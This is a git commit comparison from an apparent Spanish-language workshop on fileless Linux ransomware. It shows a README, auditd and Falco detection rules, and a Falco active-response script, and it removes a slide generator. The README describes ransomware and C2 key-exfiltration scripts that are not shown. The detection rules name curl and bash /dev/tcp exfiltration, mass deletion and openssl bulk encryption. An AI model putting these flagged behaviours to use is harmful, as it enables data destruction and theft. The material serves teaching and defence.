Compare commits
7 Commits
2928ef8581
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 6d3e0b2a58 | |||
| 27b7f5e540 | |||
| f7c82dc9a6 | |||
| 0b206aac31 | |||
| ffb9fd50aa | |||
| e671ec8ea5 | |||
| 3e6e7593da |
2
QueComanTierra/.gitignore
vendored
2
QueComanTierra/.gitignore
vendored
@@ -2,3 +2,5 @@ stolen_keys.log
|
|||||||
vaults/
|
vaults/
|
||||||
__pycache__/
|
__pycache__/
|
||||||
*.pyc
|
*.pyc
|
||||||
|
slides/redteam_ref.pptx
|
||||||
|
|
||||||
|
|||||||
118
QueComanTierra/README.md
Normal file
118
QueComanTierra/README.md
Normal file
@@ -0,0 +1,118 @@
|
|||||||
|
# que coman tierra
|
||||||
|
|
||||||
|
taller de seguridad ofensiva y defensiva sobre LOLBins y ransomware sin malware.
|
||||||
|
|
||||||
|
el nombre viene de la sensación que te da descubrir que un atacante cifró tus servidores enteros sin instalar absolutamente nada.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## de qué va esto
|
||||||
|
|
||||||
|
los atacantes modernos no necesitan droppers ni ejecutables sospechosos. usan las herramientas que ya vienen en cualquier linux: `openssl`, `find`, `xargs`, `shred`, `cron`. eso se llama "living off the land" y es exactamente por qué el antivirus no sirve de nada contra esto.
|
||||||
|
|
||||||
|
en este taller construimos un ransomware funcional con solo binarios del sistema, lo ejecutamos en lab, medimos qué tan rápido destruye archivos y después aprendemos a detectarlo y frenarlo.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## estructura
|
||||||
|
|
||||||
|
```
|
||||||
|
QueComanTierra/
|
||||||
|
ransomware/
|
||||||
|
loader.sh -- script principal, orquesta todo el ataque
|
||||||
|
xargs_ransom.sh -- versión paralela con xargs -P (cifrado rápido)
|
||||||
|
noxargs_ransom.sh -- versión secuencial para comparar tiempos
|
||||||
|
tarbulk.sh -- variante que cifra todo como un solo blob (< 10s)
|
||||||
|
scripts/
|
||||||
|
getkeys.sh -- generación y manejo de claves efímeras
|
||||||
|
stealdata.sh -- exfiltración de la clave al C2
|
||||||
|
detection/
|
||||||
|
falco_rules.yaml -- reglas falco para detectar el comportamiento en runtime
|
||||||
|
falco.yaml -- config para falco
|
||||||
|
auditd_rules.rules -- reglas para auditd
|
||||||
|
slides/
|
||||||
|
slides.md -- fuente de la presentación (pandoc/reveal.js)
|
||||||
|
slides.pptx -- presentación compilada
|
||||||
|
estructura.md -- notas de estructura del taller
|
||||||
|
notas.md -- notas del instructor
|
||||||
|
press/
|
||||||
|
Tierra.jpg -- imagen de portada
|
||||||
|
Tierra.pdf -- material de prensa/flyer
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## módulos del taller
|
||||||
|
|
||||||
|
1. **el problema invisible** -- qué son los LOLBins y por qué los AV no los paran
|
||||||
|
2. **el arsenal del sistema** -- `openssl`, `find`, `xargs`, `shred`, `cron` como armas
|
||||||
|
3. **anatomía de un ataque** -- las 7 fases: reconocimiento, clave, cifrado, destrucción, exfiltración, rescate, persistencia
|
||||||
|
4. **lab: preparando el plato** -- ejercicios hands-on en VM aislada
|
||||||
|
5. **defensa: cómo no comer tierra** -- auditd, falco, backups inmutables, mínimo privilegio, runbook de respuesta
|
||||||
|
6. **cierre** -- recursos y tarea
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## el lab en números
|
||||||
|
|
||||||
|
en un servidor real con `xargs -P 36`:
|
||||||
|
|
||||||
|
| variante | archivos | tiempo | ventana de detección |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `while` loop | 3.301 | 13m 40s | tienes tiempo de actuar |
|
||||||
|
| `xargs -P 36` | 3.301 | 1m 49s | necesitas detección automática |
|
||||||
|
| `tar + openssl` | 3.470 | 4.5s | cuando llegas ya terminó |
|
||||||
|
|
||||||
|
el punto del ejercicio es que el `tarbulk` no se puede parar en runtime, solo antes.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## requisitos para el lab
|
||||||
|
|
||||||
|
- VM ubuntu/debian aislada (sin red real, en serio)
|
||||||
|
- snapshot limpio para restaurar entre ejercicios
|
||||||
|
- usuario no-root con home poblado de archivos de prueba
|
||||||
|
- herramientas: `openssl`, `find`, `xargs`, `shred`, `auditd`, opcionalmente `falco`
|
||||||
|
|
||||||
|
**nunca ejecutar los scripts fuera de la VM de lab.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## compilar las slides
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# pptx con plantilla corporativa
|
||||||
|
pandoc slides/slides.md -t pptx \
|
||||||
|
--reference-doc="redteam_ref.pptx" \
|
||||||
|
-o slides/slides.pptx
|
||||||
|
|
||||||
|
# reveal.js para presentar en browser
|
||||||
|
pandoc slides/slides.md -t revealjs -s \
|
||||||
|
--highlight-style=monokai \
|
||||||
|
-o slides/slides.html
|
||||||
|
```
|
||||||
|
|
||||||
|
o usar el script incluido:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd slides && ./compile.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## referencias
|
||||||
|
|
||||||
|
- gtfobins -- catálogo de LOLBins en linux
|
||||||
|
- lolbas -- equivalente para windows
|
||||||
|
- mitre att&ck t1486 -- data encrypted for impact
|
||||||
|
- github.com/neo23x0/auditd -- reglas auditd listas para usar
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## contexto legal
|
||||||
|
|
||||||
|
este material es exclusivamente para uso educativo en entornos controlados. los scripts están documentados para que se entienda cómo funcionan los ataques y cómo detectarlos, no para uso ofensivo real. ejecutar esto fuera de un lab autorizado es ilegal.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*2026*
|
||||||
71
QueComanTierra/detection/auditd_rules.rules
Normal file
71
QueComanTierra/detection/auditd_rules.rules
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
## auditd rules: detección LOLBin ransomware (formato nuevo, sin -w legacy)
|
||||||
|
## Cubre: noxargs_ransom, xargs_ransom, tarbulk
|
||||||
|
## Instalar: cp auditd_rules.rules /etc/audit/rules.d/lolbin-ransom.rules && augenrules --load
|
||||||
|
##
|
||||||
|
## Correlación post-evento:
|
||||||
|
## ausearch -k crypto_exec --start today | aureport -x --summary
|
||||||
|
## ausearch -k mass_unlink --start today | wc -l # >500 en <10s = tarbulk
|
||||||
|
## ausearch -k bash_tcp --start today -i
|
||||||
|
## ==========================================================================
|
||||||
|
|
||||||
|
## --------------------------------------------------------------------------
|
||||||
|
## COMUN A LOS TRES ESTILOS
|
||||||
|
## --------------------------------------------------------------------------
|
||||||
|
|
||||||
|
## Reconocimiento: find / -type f -writable
|
||||||
|
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/find -k lolbin_recon
|
||||||
|
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/find -k lolbin_recon
|
||||||
|
|
||||||
|
## openssl: generación de clave (rand) y cifrado (enc). Ambos usos relevantes.
|
||||||
|
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/openssl -k crypto_exec
|
||||||
|
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/openssl -k crypto_exec
|
||||||
|
|
||||||
|
## Escritura en /tmp: .key, .vault.enc, .targets
|
||||||
|
-a always,exit -F arch=b64 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_staging
|
||||||
|
-a always,exit -F arch=b32 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_staging
|
||||||
|
|
||||||
|
## --------------------------------------------------------------------------
|
||||||
|
## NOXARGS_RANSOM + XARGS_RANSOM
|
||||||
|
## Señal: miles de EXECVE de openssl y shred en minutos
|
||||||
|
## --------------------------------------------------------------------------
|
||||||
|
|
||||||
|
## shred -u por archivo. noxargs: secuencial. xargs: hasta 36 concurrentes.
|
||||||
|
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/shred -k shred_exec
|
||||||
|
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/shred -k shred_exec
|
||||||
|
|
||||||
|
## xargs con -P alto: el multiplicador de paralelismo
|
||||||
|
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/xargs -k xargs_exec
|
||||||
|
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/xargs -k xargs_exec
|
||||||
|
|
||||||
|
## Persistencia via crontab (re-cifra archivos nuevos cada 5 min)
|
||||||
|
-a always,exit -F arch=b64 -S open,openat,creat,rename,unlink -F dir=/var/spool/cron -F success=1 -k crontab_mod
|
||||||
|
-a always,exit -F arch=b32 -S open,openat,creat,rename,unlink -F dir=/var/spool/cron -F success=1 -k crontab_mod
|
||||||
|
-a always,exit -F arch=b64 -S open,openat,creat,rename,unlink -F dir=/etc/cron.d -F success=1 -k crontab_mod
|
||||||
|
-a always,exit -F arch=b32 -S open,openat,creat,rename,unlink -F dir=/etc/cron.d -F success=1 -k crontab_mod
|
||||||
|
|
||||||
|
## curl: exfiltración de clave en noxargs y xargs
|
||||||
|
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/curl -k key_exfil_curl
|
||||||
|
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/curl -k key_exfil_curl
|
||||||
|
|
||||||
|
## --------------------------------------------------------------------------
|
||||||
|
## TARBULK
|
||||||
|
## Señal: UN solo openssl, storm de unlink, connect() desde bash
|
||||||
|
## --------------------------------------------------------------------------
|
||||||
|
|
||||||
|
## tar -czf - (stdout): staging para el pipe a openssl
|
||||||
|
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/tar -k tar_exec
|
||||||
|
-a always,exit -F arch=b32 -S execve -F exe=/usr/bin/tar -k tar_exec
|
||||||
|
|
||||||
|
## unlink/unlinkat masivo: rm -f sobre 3470 archivos tras el cifrado.
|
||||||
|
## Esta regla dispara una vez por archivo. El volumen es la alerta.
|
||||||
|
-a always,exit -F arch=b64 -S unlink,unlinkat -F auid>=1000 -k mass_unlink
|
||||||
|
-a always,exit -F arch=b32 -S unlink,unlinkat -F auid>=1000 -k mass_unlink
|
||||||
|
-a always,exit -F arch=b64 -S unlink,unlinkat -F uid=0 -k mass_unlink
|
||||||
|
-a always,exit -F arch=b32 -S unlink,unlinkat -F uid=0 -k mass_unlink
|
||||||
|
|
||||||
|
## connect() desde bash: exfiltración via /dev/tcp sin curl ni wget.
|
||||||
|
## Alta fidelidad: bash no debería abrir sockets TCP directamente.
|
||||||
|
-a always,exit -F arch=b64 -S connect -F exe=/usr/bin/bash -k bash_tcp
|
||||||
|
-a always,exit -F arch=b32 -S connect -F exe=/usr/bin/bash -k bash_tcp
|
||||||
|
-a always,exit -F arch=b64 -S connect -F exe=/bin/bash -k bash_tcp
|
||||||
|
-a always,exit -F arch=b32 -S connect -F exe=/bin/bash -k bash_tcp
|
||||||
47
QueComanTierra/detection/falco.yaml
Normal file
47
QueComanTierra/detection/falco.yaml
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
# falco.yaml: Configuración mínima para QueComanTierra con respuesta activa
|
||||||
|
#
|
||||||
|
# Falco por defecto sólo DETECTA. Con program_output le decimos que pipe
|
||||||
|
# cada alerta que coincida con una regla CRITICAL/WARNING al response script.
|
||||||
|
|
||||||
|
rules_file:
|
||||||
|
- /etc/falco/falco_rules.yaml # reglas upstream de Falco
|
||||||
|
- /opt/qct/detection/falco_rules.yaml # reglas QueComanTierra
|
||||||
|
|
||||||
|
# ── Salidas ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
json_output: true # el response script consume JSON
|
||||||
|
|
||||||
|
# stdout: útil en desarrollo / journald
|
||||||
|
stdout_output:
|
||||||
|
enabled: true
|
||||||
|
|
||||||
|
# file: persistencia local
|
||||||
|
file_output:
|
||||||
|
enabled: true
|
||||||
|
keep_alive: false
|
||||||
|
filename: /var/log/falco.log
|
||||||
|
|
||||||
|
# program_output: cada alerta se pipe al response handler
|
||||||
|
# El script recibe el JSON completo en stdin.
|
||||||
|
# keep_alive: false → proceso nuevo por alerta (más seguro, más lento).
|
||||||
|
# Para entornos de producción con alto volumen, poner true y manejar
|
||||||
|
# el stream NDJSON dentro del script.
|
||||||
|
program_output:
|
||||||
|
enabled: true
|
||||||
|
keep_alive: false
|
||||||
|
program: "/opt/qct/detection/falco_response.sh"
|
||||||
|
|
||||||
|
# ── Filtros de prioridad ───────────────────────────────────────────────────
|
||||||
|
# Solo dispara program_output para WARNING y superior.
|
||||||
|
# NOTICE/INFO se escriben a log pero no activan respuesta.
|
||||||
|
priority: warning
|
||||||
|
|
||||||
|
# ── Syscall buffer ─────────────────────────────────────────────────────────
|
||||||
|
# Aumentar si se pierden eventos durante el bulk xargs (Regla 3).
|
||||||
|
syscall_buf_size_preset: 4 # 4 MB por CPU
|
||||||
|
|
||||||
|
# ── Métricas (opcional) ────────────────────────────────────────────────────
|
||||||
|
metrics:
|
||||||
|
enabled: true
|
||||||
|
interval: 60s
|
||||||
|
resource_utilization_enabled: true
|
||||||
77
QueComanTierra/detection/falco_response.sh
Normal file
77
QueComanTierra/detection/falco_response.sh
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# falco_response.sh: Active response handler for QueComanTierra Falco rules
|
||||||
|
#
|
||||||
|
# Falco pipes JSON alerts here via program_output.
|
||||||
|
# Per-rule actions:
|
||||||
|
# Bash Native TCP Exfiltration → kill PID + ss --kill socket
|
||||||
|
# Shell Spawning OpenSSL Bulk Enc. → kill PID (kills openssl + parent shell)
|
||||||
|
# Mass Document Deletion by Shell → kill PID
|
||||||
|
# Hidden Encrypted Archive in Tmp → kill PID + remove the .enc file
|
||||||
|
#
|
||||||
|
# IMPORTANT: runs as root (Falco requirement). Validate PIDs before killing.
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
LOG="/var/log/falco-response.log"
|
||||||
|
ALERT=$(cat) # full JSON from Falco
|
||||||
|
|
||||||
|
log() { echo "$(date -u +%FT%TZ) [RESPONSE] $*" | tee -a "$LOG" >&2; }
|
||||||
|
|
||||||
|
rule=$(echo "$ALERT" | jq -r '.rule')
|
||||||
|
pid=$(echo "$ALERT" | jq -r '.output_fields["proc.pid"] // empty')
|
||||||
|
dst_ip=$(echo "$ALERT" | jq -r '.output_fields["fd.rip"] // empty')
|
||||||
|
dst_port=$(echo "$ALERT"| jq -r '.output_fields["fd.rport"]// empty')
|
||||||
|
file=$(echo "$ALERT" | jq -r '.output_fields["fd.name"] // empty')
|
||||||
|
user=$(echo "$ALERT" | jq -r '.output_fields["user.name"]// empty')
|
||||||
|
|
||||||
|
log "RULE='$rule' PID='$pid' USER='$user'"
|
||||||
|
|
||||||
|
kill_pid() {
|
||||||
|
local p="$1"
|
||||||
|
# Validate: PID must be numeric and process must still exist
|
||||||
|
[[ "$p" =~ ^[0-9]+$ ]] || { log "PID inválido: $p"; return 1; }
|
||||||
|
[[ -d "/proc/$p" ]] || { log "PID $p ya no existe"; return 0; }
|
||||||
|
log "KILL -9 $p ($(cat /proc/$p/cmdline | tr '\0' ' '))"
|
||||||
|
kill -9 "$p" && log "PID $p terminado" || log "No se pudo matar $p"
|
||||||
|
}
|
||||||
|
|
||||||
|
kill_socket() {
|
||||||
|
local ip="$1" port="$2"
|
||||||
|
[[ -n "$ip" && -n "$port" ]] || return 0
|
||||||
|
log "Cerrando socket TCP → $ip:$port"
|
||||||
|
# ss --kill requiere iproute2 >= 5.3
|
||||||
|
ss --kill state established dst "${ip}:${port}" 2>>"$LOG" \
|
||||||
|
&& log "Socket $ip:$port cerrado" \
|
||||||
|
|| log "ss --kill falló (¿iproute2 < 5.3?)"
|
||||||
|
}
|
||||||
|
|
||||||
|
case "$rule" in
|
||||||
|
"Bash Native TCP Exfiltration")
|
||||||
|
log "ACCIÓN: matar proceso + cerrar socket"
|
||||||
|
kill_pid "$pid"
|
||||||
|
kill_socket "$dst_ip" "$dst_port"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Shell Spawning OpenSSL Bulk Encryption")
|
||||||
|
log "ACCIÓN: matar proceso openssl"
|
||||||
|
kill_pid "$pid"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Mass Document Deletion by Shell Process")
|
||||||
|
log "ACCIÓN: matar proceso de borrado masivo"
|
||||||
|
kill_pid "$pid"
|
||||||
|
;;
|
||||||
|
|
||||||
|
"Hidden Encrypted Archive Staged in Tmp")
|
||||||
|
log "ACCIÓN: matar proceso + eliminar vault"
|
||||||
|
kill_pid "$pid"
|
||||||
|
if [[ -n "$file" && "$file" == /tmp/*.enc && "$file" == /tmp/.* ]]; then
|
||||||
|
log "Eliminando vault cifrado: $file"
|
||||||
|
rm -f "$file" && log "Vault eliminado" || log "No se pudo eliminar $file"
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
log "Regla desconocida, sin acción automática: $rule"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
@@ -56,8 +56,7 @@
|
|||||||
openssl enc desde shell, posible cifrado masivo
|
openssl enc desde shell, posible cifrado masivo
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
cmd=%proc.cmdline
|
cmd=%proc.cmdline
|
||||||
parent=%proc.pname ppid=%proc.ppid
|
parent=%proc.pname ppid=%proc.ppid)
|
||||||
container=%container.name)
|
|
||||||
priority: WARNING
|
priority: WARNING
|
||||||
tags: [lolbin, ransomware, T1486, T1059.004]
|
tags: [lolbin, ransomware, T1486, T1059.004]
|
||||||
|
|
||||||
@@ -90,8 +89,7 @@
|
|||||||
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
dst=%fd.rip:%fd.rport
|
dst=%fd.rip:%fd.rport
|
||||||
pid=%proc.pid cmd=%proc.cmdline
|
pid=%proc.pid cmd=%proc.cmdline)
|
||||||
container=%container.name)
|
|
||||||
priority: CRITICAL
|
priority: CRITICAL
|
||||||
tags: [lolbin, exfiltration, T1048, T1059.004]
|
tags: [lolbin, exfiltration, T1048, T1059.004]
|
||||||
|
|
||||||
@@ -120,8 +118,7 @@
|
|||||||
documento de usuario eliminado por proceso shell
|
documento de usuario eliminado por proceso shell
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
file=%fd.name
|
file=%fd.name
|
||||||
proc=%proc.name cmd=%proc.cmdline
|
proc=%proc.name cmd=%proc.cmdline)
|
||||||
container=%container.name)
|
|
||||||
priority: WARNING
|
priority: WARNING
|
||||||
tags: [ransomware, destruction, T1486]
|
tags: [ransomware, destruction, T1486]
|
||||||
|
|
||||||
@@ -149,7 +146,6 @@
|
|||||||
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
archivo cifrado oculto creado en /tmp, posible vault de ransomware
|
||||||
(user=%user.name uid=%user.uid
|
(user=%user.name uid=%user.uid
|
||||||
file=%fd.name
|
file=%fd.name
|
||||||
proc=%proc.name cmd=%proc.cmdline
|
proc=%proc.name cmd=%proc.cmdline)
|
||||||
container=%container.name)
|
|
||||||
priority: CRITICAL
|
priority: CRITICAL
|
||||||
tags: [ransomware, staging, T1486, T1074]
|
tags: [ransomware, staging, T1486, T1074]
|
||||||
|
|||||||
@@ -1,340 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad.
|
|
||||||
Los backgrounds se copian directamente desde los slides del template.
|
|
||||||
"""
|
|
||||||
from pptx import Presentation
|
|
||||||
from pptx.util import Pt, Emu
|
|
||||||
from pptx.dml.color import RGBColor
|
|
||||||
from lxml import etree
|
|
||||||
import copy, re, zipfile, io, tempfile, os
|
|
||||||
|
|
||||||
TEMPLATE = "../../Red Team.pptx"
|
|
||||||
SOURCE = "slides.md"
|
|
||||||
OUTPUT = "slides.pptx"
|
|
||||||
|
|
||||||
# Layouts en la plantilla (por nombre español)
|
|
||||||
L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle)
|
|
||||||
L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content)
|
|
||||||
L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body)
|
|
||||||
|
|
||||||
# Slides del template que sirven como fuente de backgrounds
|
|
||||||
# slide1=portada, slide3=contenido, slide5=seccion divisor
|
|
||||||
BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo
|
|
||||||
BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja
|
|
||||||
BG_SECTION = 4 # image5.jpg — divisor rojo degradado
|
|
||||||
|
|
||||||
PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
|
||||||
ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main'
|
|
||||||
RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
|
|
||||||
IMG_REL = f'{RNS}/image'
|
|
||||||
|
|
||||||
# ─── template limpio ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def make_clean_template(src):
|
|
||||||
"""Devuelve BytesIO: template sin slides (master/layouts/media intactos)."""
|
|
||||||
SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$')
|
|
||||||
SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$')
|
|
||||||
SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml'
|
|
||||||
SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide'
|
|
||||||
PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
|
|
||||||
PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
|
|
||||||
CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types'
|
|
||||||
|
|
||||||
buf = io.BytesIO()
|
|
||||||
with zipfile.ZipFile(src, 'r') as zin, \
|
|
||||||
zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
|
|
||||||
for item in zin.infolist():
|
|
||||||
name = item.filename
|
|
||||||
if SLIDE_XML.match(name) or SLIDE_RELS.match(name):
|
|
||||||
continue # eliminar slides y sus rels del ZIP
|
|
||||||
data = zin.read(name)
|
|
||||||
|
|
||||||
if name == 'ppt/presentation.xml':
|
|
||||||
root = etree.fromstring(data)
|
|
||||||
lst = root.find(f'{{{PML_NS}}}sldIdLst')
|
|
||||||
if lst is not None:
|
|
||||||
lst.clear()
|
|
||||||
data = etree.tostring(root, xml_declaration=True,
|
|
||||||
encoding='UTF-8', standalone=True)
|
|
||||||
|
|
||||||
elif name == 'ppt/_rels/presentation.xml.rels':
|
|
||||||
root = etree.fromstring(data)
|
|
||||||
for rel in root.findall(f'{{{PKG_NS}}}Relationship'):
|
|
||||||
if rel.get('Type') == SLIDE_REL_TYPE:
|
|
||||||
root.remove(rel)
|
|
||||||
data = etree.tostring(root, xml_declaration=True,
|
|
||||||
encoding='UTF-8', standalone=True)
|
|
||||||
|
|
||||||
elif name == '[Content_Types].xml':
|
|
||||||
root = etree.fromstring(data)
|
|
||||||
for ov in root.findall(f'{{{CT_NS}}}Override'):
|
|
||||||
if ov.get('ContentType') == SLIDE_CT:
|
|
||||||
root.remove(ov)
|
|
||||||
data = etree.tostring(root, xml_declaration=True,
|
|
||||||
encoding='UTF-8', standalone=True)
|
|
||||||
|
|
||||||
zout.writestr(item, data)
|
|
||||||
|
|
||||||
buf.seek(0)
|
|
||||||
return buf
|
|
||||||
|
|
||||||
# ─── background copy ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def copy_background(new_slide, template_slide):
|
|
||||||
"""Copia el <p:bg> del template_slide al new_slide, remapeando el rId de imagen."""
|
|
||||||
cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld')
|
|
||||||
bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None
|
|
||||||
if bg is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
blip = bg.find(f'.//{{{ANS}}}blip')
|
|
||||||
if blip is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
old_rId = blip.get(f'{{{RNS}}}embed')
|
|
||||||
if not old_rId:
|
|
||||||
return
|
|
||||||
|
|
||||||
# Obtener la imagen del template y relacionarla con el nuevo slide
|
|
||||||
image_part = template_slide.part.related_part(old_rId)
|
|
||||||
new_rId = new_slide.part.relate_to(image_part, IMG_REL)
|
|
||||||
|
|
||||||
# Clonar <p:bg> y actualizar el rId
|
|
||||||
new_bg = copy.deepcopy(bg)
|
|
||||||
new_blip = new_bg.find(f'.//{{{ANS}}}blip')
|
|
||||||
new_blip.set(f'{{{RNS}}}embed', new_rId)
|
|
||||||
|
|
||||||
# Insertar en cSld del nuevo slide (antes de spTree)
|
|
||||||
new_cSld = new_slide._element.find(f'{{{PNS}}}cSld')
|
|
||||||
existing_bg = new_cSld.find(f'{{{PNS}}}bg')
|
|
||||||
if existing_bg is not None:
|
|
||||||
new_cSld.remove(existing_bg)
|
|
||||||
new_cSld.insert(0, new_bg)
|
|
||||||
|
|
||||||
# ─── helpers de texto ─────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def clean(text):
|
|
||||||
text = re.sub(r'\*\*(.*?)\*\*', r'\1', text)
|
|
||||||
text = re.sub(r'\*(.*?)\*', r'\1', text)
|
|
||||||
text = re.sub(r'`(.*?)`', r'\1', text)
|
|
||||||
text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE)
|
|
||||||
return text.strip()
|
|
||||||
|
|
||||||
def fill_placeholder(ph, lines):
|
|
||||||
tf = ph.text_frame
|
|
||||||
tf.word_wrap = True
|
|
||||||
tf.clear()
|
|
||||||
|
|
||||||
in_code = False
|
|
||||||
first_p = True
|
|
||||||
|
|
||||||
for line in lines:
|
|
||||||
if line.startswith('```'):
|
|
||||||
in_code = not in_code
|
|
||||||
continue
|
|
||||||
if re.match(r'^\s*\|?[-:| ]+\|', line):
|
|
||||||
continue
|
|
||||||
|
|
||||||
stripped = line.rstrip()
|
|
||||||
if not stripped and not in_code:
|
|
||||||
continue
|
|
||||||
|
|
||||||
p = tf.paragraphs[0] if first_p else tf.add_paragraph()
|
|
||||||
first_p = False
|
|
||||||
|
|
||||||
bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped)
|
|
||||||
if bullet and not in_code:
|
|
||||||
indent = len(bullet.group(1)) // 2
|
|
||||||
p.level = min(indent + 1, 4)
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = clean(bullet.group(3))
|
|
||||||
elif in_code:
|
|
||||||
# Eliminar bullet del párrafo
|
|
||||||
pPr = p._p.get_or_add_pPr()
|
|
||||||
for child in list(pPr):
|
|
||||||
if child.tag.split('}')[-1].startswith('bu'):
|
|
||||||
pPr.remove(child)
|
|
||||||
pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone'))
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = stripped.lstrip()
|
|
||||||
run.font.name = 'Courier New'
|
|
||||||
run.font.size = Pt(13)
|
|
||||||
run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00)
|
|
||||||
else:
|
|
||||||
heading = re.match(r'^#{2,4} (.+)', stripped)
|
|
||||||
if heading:
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = clean(heading.group(1))
|
|
||||||
run.font.bold = True
|
|
||||||
else:
|
|
||||||
run = p.add_run()
|
|
||||||
run.text = clean(stripped)
|
|
||||||
|
|
||||||
# ─── parser ───────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def parse_slides(path):
|
|
||||||
with open(path) as f:
|
|
||||||
raw = f.read()
|
|
||||||
raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL)
|
|
||||||
blocks = re.split(r'\n---\n', raw)
|
|
||||||
return [b.strip() for b in blocks if b.strip()]
|
|
||||||
|
|
||||||
def classify(block):
|
|
||||||
lines = block.split('\n')
|
|
||||||
first = lines[0]
|
|
||||||
|
|
||||||
if re.match(r'^# ', first):
|
|
||||||
title = re.sub(r'^# ', '', first).replace('{.center}', '').strip()
|
|
||||||
body = [l for l in lines[1:] if l.strip() and not l.startswith('{')]
|
|
||||||
return ('section', title, body)
|
|
||||||
|
|
||||||
if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}':
|
|
||||||
body = [l for l in lines[1:] if l.strip()]
|
|
||||||
return ('section', '', body)
|
|
||||||
|
|
||||||
if re.match(r'^## ', first):
|
|
||||||
title = re.sub(r'^## ', '', first).strip()
|
|
||||||
return ('content', title, lines[1:])
|
|
||||||
|
|
||||||
return ('content', '', lines)
|
|
||||||
|
|
||||||
# ─── tables ───────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def parse_md_table(lines):
|
|
||||||
"""Separa lineas en (non_table_lines, table_rows).
|
|
||||||
Ignora pipes dentro de code fences para no confundirlos con tablas."""
|
|
||||||
is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l)
|
|
||||||
is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l))
|
|
||||||
|
|
||||||
non_table, rows = [], []
|
|
||||||
in_code = False
|
|
||||||
for line in lines:
|
|
||||||
if line.startswith('```'):
|
|
||||||
in_code = not in_code
|
|
||||||
non_table.append(line)
|
|
||||||
continue
|
|
||||||
if in_code:
|
|
||||||
non_table.append(line)
|
|
||||||
continue
|
|
||||||
if is_sep(line):
|
|
||||||
continue
|
|
||||||
if is_table(line):
|
|
||||||
